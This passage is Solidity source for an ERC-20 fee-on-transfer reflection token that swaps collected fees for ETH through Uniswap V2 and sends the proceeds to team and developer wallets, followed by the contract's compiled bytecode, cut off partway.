developerWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _teamWalletAddress.transfer(amount.div(2)); _developerWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() { _teamWalletAddress = teamWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9'); _maxTxAmount = maxTxAmount; } }
0x60806040526004361061021e5760003560e01c806370a0823111610123578063b80ec98d116100ab578063f2cc0c181161006f578063f2cc0c18146107cd578063f2fde38b14610800578063f429389014610833578063f815a84214610848578063f84354f11461085d57610225565b8063b80ec98d146106d6578063cba0e99614610709578063dd4670641461073c578063dd62ed3e14610766578063e01af92c146107a157610225565b8063a457c2d7116100f2578063a457c2d7146105ff578063a69df4b514610638578063a9059cbb1461064d578063af9549e014610686578063b6c52324146106c157610225565b806370a082311461058d578063715018a6146105c05780638da5cb5b146105d557806395d89b41146105ea57610225565b8063313ce567116101a657806349bd5a5e1161017557806349bd5a5e146104f157806351bc3c85146105065780635342acb41461051b5780635880b8731461054e5780636ddd17131461057857610225565b8063313ce56714610431578063395093511461045c5780633bd5d173146104955780634549b039146104bf57610225565b806318160ddd116101ed57806318160ddd146103595780631bbae6e01461036e57806323b872dd1461039a57806328667162146103dd5780632d8381191461040757610225565b806306fdde031461022a578063095ea7b3146102b457806313114a9d146103015780631694505e1461032857610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610890565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610279578181015183820152602001610261565b50505050905090810190601f1680156102a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102c057600080fd5b506102ed600480360360408110156102d757600080fd5b506001600160a01b038135169060200135610926565b604080519115158252519081900360200190f35b34801561030d57600080fd5b50610316610944565b60408051918252519081900360200190f35b34801561033457600080fd5b5061033d61094a565b604080516001600160a01b039092168252519081900360200190f35b34801561036557600080fd5b5061031661096e565b34801561037a57600080fd5b506103986004803603602081101561039157600080fd5b5035610974565b005b3480156103a657600080fd5b506102ed600480360360608110156103bd57600080fd5b506001600160a01b03813581169160208101359091169060400135610a1a565b3480156103e957600080fd5b506103986004803603602081101561040057600080fd5b5035610aa1565b34801561041357600080fd5b506103166004803603602081101561042a57600080fd5b5035610b61565b34801561043d57600080fd5b50610446610bc3565b6040805160ff9092168252519081900360200190f35b34801561046857600080fd5b506102ed6004803603604081101561047f57600080fd5b506001600160a01b038135169060200135610bcc565b3480156104a157600080fd5b50610398600480360360208110156104b857600080fd5b5035610c1a565b3480156104cb57600080fd5b50610316600480360360408110156104e257600080fd5b50803590602001351515610cf4565b3480156104fd57600080fd5b5061033d610d86565b34801561051257600080fd5b50610398610daa565b34801561052757600080fd5b506102ed6004803603602081101561053e57600080fd5b50356001600160a01b0316610e1b565b34801561055a57600080fd5b506103986004803603602081101561057157600080fd5b5035610e39565b34801561058457600080fd5b506102ed610ef9565b34801561059957600080fd5b50610316600480360360208110156105b057600080fd5b50356001600160a01b0316610f09565b3480156105cc57600080fd5b50610398610f6b565b3480156105e157600080fd5b5061033d610ffb565b3480156105f657600080fd5b5061023f61100a565b34801561060b57600080fd5b506102ed6004803603604081101561062257600080fd5b506001600160a01b03813516906020013561106b565b34801561064457600080fd5b506103986110d3565b34801561065957600080fd5b506102ed6004803603604081101561067057600080fd5b506001600160a01b0381351690602001356111c1565b34801561069257600080fd5b50610398600480360360408110156106a957600080fd5b506001600160a01b03813516906020013515156111d5565b3480156106cd57600080fd5b50610316611258565b3480156106e257600080fd5b50610398600480360360208110156106f957600080fd5b50356001600160a01b031661125e565b34801561071557600080fd5b506102ed6004803603602081101561072c57600080fd5b50356001600160a01b03166112d8565b34801561074857600080fd5b506103986004803603602081101561075f57600080fd5b50356112f6565b34801561077257600080fd5b506103166004803603604081101561078957600080fd5b506001600160a01b0381358116916020013516611394565b3480156107ad57600080fd5b50610398600480360360208110156107c457600080fd5b503515156113bf565b3480156107d957600080fd5b50610398600480360360208110156107f057600080fd5b50356001600160a01b0316611435565b34801561080c57600080fd5b506103986004803603602081101561082357600080fd5b50356001600160a01b0316611617565b34801561083f57600080fd5b506103986116fd565b34801561085457600080fd5b5061031661175f565b34801561086957600080fd5b506103986004803603602081101561088057600080fd5b50356001600160a01b0316611763565b600c8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b5050505050905090565b600061093a610933611924565b8484611928565b5060015b92915050565b600b5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60095490565b61097c611924565b6000546001600160a01b039081169116146109cc576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b69152d02c7e14af6800000811015610a155760405162461bcd60e51b81526004018080602001828103825260348152602001806129556034913960400191505060405180910390fd5b601555565b6000610a27848484611a14565b610a9784610a33611924565b610a92856040518060600160405280602881526020016129d2602891396001600160a01b038a16600090815260056020526040812090610a71611924565b6001600160a01b031681526020810191909152604001600020549190611c71565b611928565b5060019392505050565b610aa9611924565b6000546001600160a01b03908116911614610af9576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b60018110158015610b0b575060198111155b610b5c576040805162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d2032350000000000604482015290519081900360640190fd5b601055565b6000600a54821115610ba45760405162461bcd60e51b815260040180806020018281038252602a8152602001806128e3602a913960400191505060405180910390fd5b6000610bae611d08565b9050610bba8382611d2b565b9150505b919050565b600e5460ff1690565b600061093a610bd9611924565b84610a928560056000610bea611924565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611d74565b6000610c24611924565b6001600160a01b03811660009081526007602052604090205490915060ff1615610c7f5760405162461bcd60e51b815260040180806020018281038252602c815260200180612ace602c913960400191505060405180910390fd5b6000610c8a83611dce565b505050506001600160a01b038416600090815260036020526040902054919250610cb691905082611e2a565b6001600160a01b038316600090815260036020526040902055600a54610cdc9082611e2a565b600a55600b54610cec9084611d74565b600b55505050565b6000600954831115610d4d576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81610d6c576000610d5d84611dce565b5093955061093e945050505050565b6000610d7784611dce565b5092955061093e945050505050565b7f00000000000000000000000064a8fd7bc5d19cf79feb15041c623d81d11cee9581565b610db2611924565b6000546001600160a01b03908116911614610e02576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b6000610e0d30610f09565b9050610e1881611e6c565b50565b6001600160a01b031660009081526006602052604090205460ff1690565b610e41611924565b6000546001600160a01b03908116911614610e91576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b60018110158015610ea3575060198111155b610ef4576040805162461bcd60e51b815260206004820152601a60248201527f7461784665652073686f756c6420626520696e2031202d203235000000000000604482015290519081900360640190fd5b600f55565b601454600160a81b900460ff1681565b6001600160a01b03811660009081526007602052604081205460ff1615610f4957506001600160a01b038116600090815260046020526040902054610bbe565b6001600160a01b03821660009081526003602052604090205461093e90610b61565b610f73611924565b6000546001600160a01b03908116911614610fc3576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b600080546040516001600160a01b0390911690600080516020612a1a833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600d8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561091c5780601f106108f15761010080835404028352916020019161091c565b600061093a611078611924565b84610a9285604051806060016040528060258152602001612b1d60259139600560006110a2611924565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611c71565b6001546001600160a01b0316331461111c5760405162461bcd60e51b8152600401808060200182810382526023815260200180612afa6023913960400191505060405180910390fd5b6002544211611172576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b039384169390911691600080516020612a1a83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600061093a6111ce611924565b8484611a14565b6111dd611924565b6000546001600160a01b0390811691161461122d576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60025490565b611266611924565b6000546001600160a01b039081169116146112b6576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526007602052604090205460ff1690565b6112fe611924565b6000546001600160a01b0390811691161461134e576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b038416179091551681554282016002556040518190600080516020612a1a833981519152908290a350565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6113c7611924565b6000546001600160a01b03908116911614611417576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b60148054911515600160a81b0260ff60a81b19909216919091179055565b61143d611924565b6000546001600160a01b0390811691161461148d576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156114e95760405162461bcd60e51b8152600401808060200182810382526022815260200180612aac6022913960400191505060405180910390fd5b6001600160a01b03811660009081526007602052604090205460ff1615611557576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b038116600090815260036020526040902054156115b1576001600160a01b03811660009081526003602052604090205461159790610b61565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b61161f611924565b6000546001600160a01b0390811691161461166f576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b6001600160a01b0381166116b45760405162461bcd60e51b815260040180806020018281038252602681526020018061290d6026913960400191505060405180910390fd5b600080546040516001600160a01b0380851693921691600080516020612a1a83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b611705611924565b6000546001600160a01b03908116911614611755576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b47610e18816120a3565b4790565b61176b611924565b6000546001600160a01b039081169116146117bb576040805162461bcd60e51b815260206004820181905260248201526000805160206129fa833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16611828576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b60085481101561192057816001600160a01b03166008828154811061184c57fe5b6000918252602090912001546001600160a01b031614156119185760088054600019810190811061187957fe5b600091825260209091200154600880546001600160a01b03909216918390811061189f57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff1916905560088054806118f157fe5b600082815260209020810160001990810180546001600160a01b0319169055019055611920565b60010161182b565b5050565b3390565b6001600160a01b03831661196d5760405162461bcd60e51b8152600401808060200182810382526024815260200180612a886024913960400191505060405180910390fd5b6001600160a01b0382166119b25760405162461bcd60e51b81526004018080602001828103825260228152602001806129336022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611a595760405162461bcd60e51b8152600401808060200182810382526025815260200180612a636025913960400191505060405180910390fd5b6001600160a01b038216611a9e5760405162461bcd60e51b81526004018080602001828103825260238152602001806128c06023913960400191505060405180910390fd5b60008111611add5760405162461bcd60e51b8152600401808060200182810382526029815260200180612a3a6029913960400191505060405180910390fd5b611ae5610ffb565b6001600160a01b0316836001600160a01b031614158015611b1f5750611b09610ffb565b6001600160a01b0316826001600160a01b031614155b15611b6557601554811115611b655760405162461bcd60e51b81526004018080602001828103825260288152602001806129896028913960400191505060405180910390fd5b6000611b7030610f09565b90506015548110611b8057506015545b6016546014549082101590600160a01b900460ff16158015611bab5750601454600160a81b900460ff165b8015611bb45750805b8015611bf257507f00000000000000000000000064a8fd7bc5d19cf79feb15041c623d81d11cee956001600160a01b0316856001600160a01b031614155b15611c1257611c0082611e6c565b478015611c1057611c10476120a3565b505b6001600160a01b03851660009081526006602052604090205460019060ff1680611c5457506001600160a01b03851660009081526006602052604090205460ff165b15611c5d575060005b611c6986868684612128565b505050505050565b60008184841115611d005760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611cc5578181015183820152602001611cad565b50505050905090810190601f168015611cf25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611d1561229c565b9092509050611d248282611d2b565b9250505090565b6000611d6d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123ff565b9392505050565b600082820183811015611d6d576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000806000806000806000806000611deb8a600f54601054612464565b9250925092506000611dfb611d08565b90506000806000611e0d8e87866124b9565b919e509c509a509598509396509194505050505091939550919395565b6000611d6d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c71565b6014805460ff60a01b1916600160a01b17905560408051600280825260608083018452926020830190803683370190505090503081600081518110611ead57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2657600080fd5b505afa158015611f3a573d6000803e3d6000fd5b505050506040513d6020811015611f5057600080fd5b5051815182906001908110611f6157fe5b60200260200101906001600160a01b031690816001600160a01b031681525050611fac307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611928565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612051578181015183820152602001612039565b505050509050019650505050505050600060405180830381600087803b15801561207a57600080fd5b505af115801561208e573d6000803e3d6000fd5b50506014805460ff60a01b1916905550505050565b6013546001600160a01b03166108fc6120bd836002611d2b565b6040518115909202916000818181858888f193505050501580156120e5573d6000803e3d6000fd5b506014546001600160a01b03166108fc612100836002611d2b565b6040518115909202916000818181858888f19350505050158015611920573d6000803e3d6000fd5b80612135576121356124f5565b6001600160a01b03841660009081526007602052604090205460ff16801561217657506001600160a01b03831660009081526007602052604090205460ff16155b1561218b57612186848484612527565b612289565b6001600160a01b03841660009081526007602052604090205460ff161580156121cc57506001600160a01b03831660009081526007602052604090205460ff165b156121dc5761218684848461264b565b6001600160a01b03841660009081526007602052604090205460ff1615801561221e57506001600160a01b03831660009081526007602052604090205460ff16155b1561222e576121868484846126f4565b6001600160a01b03841660009081526007602052604090205460ff16801561226e57506001600160a01b03831660009081526007602052604090205460ff165b1561227e57612186848484612738565b6122898484846126f4565b80612296576122966127ab565b50505050565b600a546009546000918291825b6008548110156123cd578260036000600884815481106122c557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061232a575081600460006008848154811061230357fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561234157600a54600954945094505050506123fb565b612381600360006008848154811061235557fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611e2a565b92506123c3600460006008848154811061239757fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611e2a565b91506001016122a9565b50600954600a546123dd91611d2b565b8210156123f557600a546009549350935050506123fb565b90925090505b9091565b6000818361244e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611cc5578181015183820152602001611cad565b50600083858161245a57fe5b0495945050505050565b600080808061247e606461247889896127b9565b90611d2b565b9050600061249160646124788a896127b9565b905060006124a9826124a38b86611e2a565b90611e2a565b9992985090965090945050505050565b60008080806124c887866127b9565b905060006124d687876127b9565b905060006124e48383611e2a565b929992985090965090945050505050565b600f541580156125055750601054155b1561250f57612525565b600f805460115560108054601255600091829055555b565b60008060008060008061253987611dce565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915061256b9088611e2a565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461259a9087611e2a565b6001600160a01b03808b1660009081526003602052604080822093909355908a16815220546125c99086611d74565b6001600160a01b0389166000908152600360205260409020556125eb81612812565b6125f5848361289b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061265d87611dce565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061268f9087611e2a565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546126c59084611d74565b6001600160a01b0389166000908152600460209081526040808320939093556003905220546125c99086611d74565b60008060008060008061270687611dce565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061259a9087611e2a565b60008060008060008061274a87611dce565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915061277c9088611e2a565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461268f9087611e2a565b601154600f55601254601055565b6000826127c85750600061093e565b828202828482816127d557fe5b0414611d6d5760405162461bcd60e51b81526004018080602001828103825260218152602001806129b16021913960400191505060405180910390fd5b600061281c611d08565b9050600061282a83836127b9565b306000908152600360205260409020549091506128479082611d74565b3060009081526003602090815260408083209390935560079052205460ff161561289657306000908152600460205260409020546128859084611d74565b306000908152600460205260409020555b505050565b600a546128a89083611e2a565b600a55600b546128b89082611d74565b600b55505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573736d61785478416d6f756e742073686f756c642062652067726561746572207468616e2031303030303030303030303030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737357652063616e206e6f74206578636c75646520556e697377617020726f757465722e4578636c75646564206164647265737365732063616e6e6f742063616c6c20